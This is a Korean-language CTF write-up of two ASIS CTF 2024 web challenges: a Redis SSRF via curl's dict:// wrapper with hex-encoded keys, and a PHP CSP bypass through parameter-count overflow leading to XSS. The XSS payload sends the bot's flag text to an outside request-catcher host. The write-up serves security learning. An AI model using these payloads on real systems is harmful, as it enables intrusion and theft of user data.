Web Hacking/WriteUp

ASIS CTF 2024 Web Writeup

프레딕 2024. 9. 22. 19:07
728x90

1. Cat Rater

from flask import Flask, render_template, session, request, redirect, flash
import subprocess
import secrets
import random
import redis
import uuid
import os
import re

app = Flask(__name__)
app.secret_key = secrets.token_bytes(32)
flag = os.environ.get('FLAG','ASIS{test-flag}')
rds = redis.Redis(host='redis', port=6379)
uuidReg = re.compile(r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$', re.IGNORECASE)

@app.route('/')
def index():
	return render_template('main.html')

@app.route('/rate',methods=['POST'])
def rate():
	link = request.form.get('link')
	if not link or re.search(r'[\x00-\x20\[\]%{}\-]',link) or not link.isascii():
		return 'Invalid link', 400, {'Content-Type': 'text/plain'}
	try:
		p = subprocess.run(["/usr/bin/curl",link],capture_output=True,timeout=0.5)
		if(p.returncode == 0):
			resultID = str(uuid.uuid4())
			rds.set(resultID,str(random.randint(1,9)))
			return redirect(f'/result?id={resultID}')
	except Exception as e:
		print(e)
	return 'Something bad happened', 500, {'Content-Type': 'text/plain'}

@app.route('/result')
def result():
	rid = request.args.get('id')
	if(not rid):
		return 'Result ID is missing', 400, {'Content-Type': 'text/plain'}
	if(not uuidReg.match(rid)):
		return 'Invalid ID', 400, {'Content-Type': 'text/plain'}
	result = rds.get(rid)
	if(not result):
		return 'Result not found', 400, {'Content-Type': 'text/plain'}
	result = int(result)
	if(result == 10):
		return render_template('result.html', msg=flag)
	else:
		return render_template('result.html', msg=f'Your cat got {result}/10')

if __name__ == "__main__":
	app.run(host='0.0.0.0', port=8080)

redis로 db를 저장하고 있고 resultID의 값이 10일때 FLAG가 나온다.

그러나 resultID를 설정하는 부분에서 1~9의 값 중 하나로 설정해주기 때문에 저걸로는 절대 10을 만들 수 없다.

/rate부분에서 curl로 link에 get요청을 보내는데 이때 SSRF 가 터진다.

redis SSRF에서 대표적으로 gopher wrapper를 사용할 수 있다.

gopher://127.0.0.1:6379/_SET%20a%2010

이런 link를 작성하면은 a를 10으로 SET할 수 있다. 그러나 여기서 %를 막고있기 때문에 gopher wrapper로는 진행이 불가능하다.

하지만 대신 dict wrapper가 있다.

dict://127.0.0.1:6379/set:a:10

이 link는 위의 gopher link와 똑같은 역할을 한다.

그러면 id에다가 10을 저장하면 되는데 현재 id는 uuid형식이여야 하고 -가 들어간다.

하지만 -를 필터링하고 있으므로 다른 방법이 필요하다.

이때 dict wrapper에서 \x3d와 같이 hex encoding이 지원된다.

따라서 최종 payload는 아래와 같다.

# id = 3d83f437-6865-4e0e-a1a4-5d3980e4573c
dict://127.0.0.1:6379/set:"\x33\x64\x38\x33\x66\x34\x33\x37\x2d\x36\x38\x36\x35\x2d\x34\x65\x30\x65\x2d\x61\x31\x61\x34\x2d\x35\x64\x33\x39\x38\x30\x65\x34\x35\x37\x33\x63":10

 

참고 : https://www.cnblogs.com/CoLo/p/14214208.html

 

SSRF之利用dict和gopher吊打Redis - Zh1z3ven - 博客园

SSRF之利用dict和gopher吊打Redis 写在前面 SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章,主要是对webshell和sshkey的写入进行复

www.cnblogs.com

 

2. Dangling

bot이 있는걸 보니 XSS문제이다.

먼저 index.php부터 보겠다.

<?php
$name = 'Bob';
$flag = 'ASIS{test-flag} - Admin (bot) has the real flag';
if(isset($_GET['wrong-user'])){
	echo 'username seems to be incorrect...';
	die();
}
if(isset($_GET['name'])){
	$name = $_GET['name'];
}
if(isset($_COOKIE['flag'])){
	$flag = $_COOKIE['flag'];
	if(isset($_GET['n'])){
		$flag = substr($flag,0,intval($_GET['n']));
	}
}
?>
<!DOCTYPE html>
<html>
<head>
	<title>Dangling</title>
	<meta http-equiv="Content-Security-Policy" content="child-src 'none'; script-src 'sha256-shg8OlN4zY3doFkqbsOiT8wlfB7Qrrw/44M507cGP3M='; style-src 'sha256-XSx24vDv8OWR3fxnxv9Bc/yD/h8eec55vh7PNn63yNs=';">
</head>
<body>
	<div>
		Hey <?= $name ?>, just press the button to get your flag
	</div>
	<button id="btn">
		Gimme flag
	</button>
	<flag id="flag"><?= $flag ?></flag>
	<style>
		body {
			font-family: 'arial';
			background-color: #DAD4B5;
			text-align: center;
			font-weight: bold;
			color: #800000;
			font-size: 20px;
		}

		div {
			margin-bottom: 15px;
			margin-top: 40px;
		}

		button {
			margin-bottom: 10px;
			background-color: #982B1C;
			border: 0px;
			font-size: 16px;
			padding: 10px 20px;
			font-family: 'arial';
			border-radius: 1px;
			color: #F2E8C6;
			cursor: pointer;
		}

		#flag {
			display: none;
		}

		#profilepic {
			border-radius: 5px;
			margin-top: 30px;
		}
	</style>
	<script>
		document.querySelector('#btn').onclick = _=>alert(document.querySelector('#flag').innerText)
	</script>
</body>
</html>

name을 GET으로 받고 name을 화면에 띄우고 있다.

flag역시 마찬가지인데 name과 flag에서 XSS 취약점이 터진다.

그러나 현재 CSP를 설정해놔서 script를 실행시킬 방법이 없다.

 

PHP는 참 문제가 많은 언어이다. 

Dreamhack의 buffalo wing이였나? 요 문제에서도 php의 특성을 활용해 csp bypass를 할 수 있다.

이 문제도 비슷할거라 생각하고 php csp bypass를 찾아보았다.

그러다가 흥미로운 영상을 발견했다.

https://www.youtube.com/watch?v=Sm4G6cAHjWM

php.ini에서 paramter 최대 갯수를 기본 1000으로 설정해 놓는다.

그러면 1000이 넘을 경우에? 에러가 나면서 header의 csp가 적용이 안되게 된다.

시험삼아 paramter를 엄청 길게 줘보고 script를 name에다가 넣어줬다.

http://dangling.asisctf.com/?name=<img%20src=x%20onerror=alert(1)>&n=20&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a

 

아니나 다를까 CSP가 body에 적용되고 스크립트가 실행되는걸 볼 수 있다.

그다음 FLAG만 얻어오면 되는데 bot의 스크립트는 아래와 같다.

#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = process.env.FLAG || 'ASIS{test-flag}';
const webDomain = process.env.WEB_DOMAIN || 'whatever.asisctf.com';

async function visit(url){
	let browser;

	if(!/^https?:\/\//.test(url)){
		return;
	}

	try{
		browser = await puppeteer.launch({
		    pipe: true,
		    args: [
		        "--no-sandbox",
		        "--disable-setuid-sandbox",
		        "--js-flags=--noexpose_wasm,--jitless",
		        "--ignore-certificate-errors",
		    ],
		    executablePath: "/usr/bin/google-chrome-stable",
		    headless: 'new'
		});

		let page = await browser.newPage();

		await page.setCookie({
			httpOnly: true,
			secure: false,
			name: 'flag',
			value: flag,
			domain: webDomain,
			sameSite: 'Lax'
		});

		page = await browser.newPage();
		await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 });
		await new Promise(r=>setTimeout(r,6000));
	}catch(e){ console.log(e) }
	try{await browser.close();}catch(e){}
	process.exit(0)
}

visit(JSON.parse(process.argv[2]))

FLAG는 cookie에 설정되어있는데 자세히 봐야할 점은 httpOnly가 true인 것이다.

이러면 script로 cookie에 접근할 수 없다.

대신 다른 방법을 봐야하는데 아까 php파일에서 flag쿠키값을 id가 flag인 flag태그에 저장하는걸 볼 수 있다.

따라서 그냥 id가 flag인 얘의 innerText를 긁어오면 된다.

최종 페이로드는 아래와 같다.

http://dangling.asisctf.com/?name=<img%20src=x%20onerror=location.href="https://upppcvc.request.dreamhack.games/"%2bdocument.getElementById('flag').innerText>&n=50&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a

 

+ 인텐

근데 이게 인텐 풀이가 아니다...

대회 끝나고 보니깐 이건 언인텐이었고 인텐 풀이는 아래라 한다.

w = window.open('http://dangling.asisctf.com/?name=asdf%3Ciframe%20sandbox%20src=%22about:blank%22%20%20name=%27&n=1')
w[`, just press the button to get your flag\n\t</div>\n\t<button id="btn">\n\t\tGimme flag\n\t</button>\n\t<flag id="flag">t</flag>\n\t<style>\n\t\tbody {\n\t\t\tfont-family: `]

사이트에서 스크립트 태그로 버튼을 찾아서 alert를 해주는데 그 버튼을 다른걸로 바꿔서 스크립트를 실행시키는... 뭐 그런 거 같다. 

저거만 보고선 정확하게 모르겠는데 따로 시험해봐야겠다... ㄷㄷ

https://portswigger.net/research/bypassing-csp-with-dangling-iframes

 

 

728x90
반응형